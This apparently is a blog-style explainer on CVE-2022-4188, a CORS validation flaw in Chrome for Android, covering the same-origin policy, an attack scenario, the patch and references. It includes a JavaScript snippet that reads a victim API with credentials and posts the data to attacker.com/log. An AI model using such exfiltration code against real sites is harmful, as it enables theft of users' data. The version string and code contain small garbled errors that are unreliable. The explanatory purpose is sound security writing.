In late 2022, security researchers uncovered a significant vulnerability in Google Chrome for Android, tracked as CVE-2022-4188. This bug is a textbook example of why input validation is so critical—especially in high-impact engines like web browsers.

In this exclusive article, we’ll break down everything you need to know about CVE-2022-4188: how it works, what the risk is, and how it was (and should be) fixed. We'll include technical details and simple code snippets to help demystify the bug.

Understanding the Same-Origin Policy and CORS

Before diving into the vulnerability, let’s quickly review the basics.

Same-Origin Policy (SOP) is a web security measure that keeps documents (like scripts) from one origin from interacting with resources from a different origin. In other words, a script at https://attacker.com shouldn’t be able to access data at https://bank.com.

To enable *some* cross-origin sharing, servers use Cross-Origin Resource Sharing (CORS), which allows a server to declare which domains are permitted to read its resources.

Here’s a quick CORS example from a server

Access-Control-Allow-Origin: https://trusted-partner.com

Or a very bad one

Access-Control-Allow-Origin: *

The latter gives access to everyone, which opens up big security risks.

Insufficient Input Validation

According to the official Chromium bug tracker, Chrome for Android (before version 108..5359.71) failed to properly validate untrusted input during CORS checks.

What does this mean?

A remote attacker could craft a malicious HTML page, and by abusing how Chrome on Android processed CORS requests, they could trick the browser into treating untrusted, cross-origin responses as if they came from the same trusted origin.

> In technical terms: the browser failed to strictly enforce the “origin” part of its security, so scripts could sneak around the same-origin policy by using specially crafted requests.

Let’s walk through a simple attack scenario

1. A user visits a malicious site https://attacker.com in Chrome for Android.
2. The attacker’s page makes a cross-origin request to https://victim.com/api/data using JavaScript.
3. Due to the insufficient validation in Chrome’s CORS logic, responses that should have been blocked or not accessible became exposed to the attacker’s JavaScript.

Here’s a simplified JavaScript snippet an attacker might use

// Malicious code running on attacker's site
fetch('https://victim.com/api/sensitive-info';, {
  credentials: 'include'
})
.then(res => res.text())
.then(data => {
  // Attacker now has data they're not supposed to see
  sendToAttacker(data);
});

function sendToAttacker(data) {
  fetch('https://attacker.com/log', {
    method: 'POST',
    body: data,
    mode: 'no-cors'
  });
}

In a vulnerable version of Chrome for Android, the attacker could gain access to sensitive-info even if victim.com only meant to share it with trusted origins.

Session hijacking: If cookies or tokens are accessible, attackers can impersonate users.

- Escalation: Combined with other bugs, control of user accounts and critical data becomes trivial.

This is especially dangerous on Android, where users are often logged into many services and may not update browsers as promptly.

The Fix

The Chrome team patched the vulnerability in version 108..5359.71 by tightening how the browser checks origins and processes CORS headers (Chrome Release Notes). After the patch, Chrome correctly blocks malicious cross-origin data access.

References

- Chrome bug report: crbug.com/1377773
- Chrome release notes (Android 108..5359.71)
- CVE Details: CVE-2022-4188
- Same-Origin Policy explained (MDN)
- Cross-Origin Resource Sharing (CORS) (MDN)

Final Words

CVE-2022-4188 serves as a reminder that web security relies on strict boundary checks. A single oversight in validating who can access what can put millions at risk. Thanks to responsible disclosure and active patching, this bug was fixed quickly—but always keep your software up to date and never underestimate the “small” input validation steps.

Timeline

Published on: 11/30/2022 00:15:00 UTC
Last modified on: 05/03/2023 12:16:00 UTC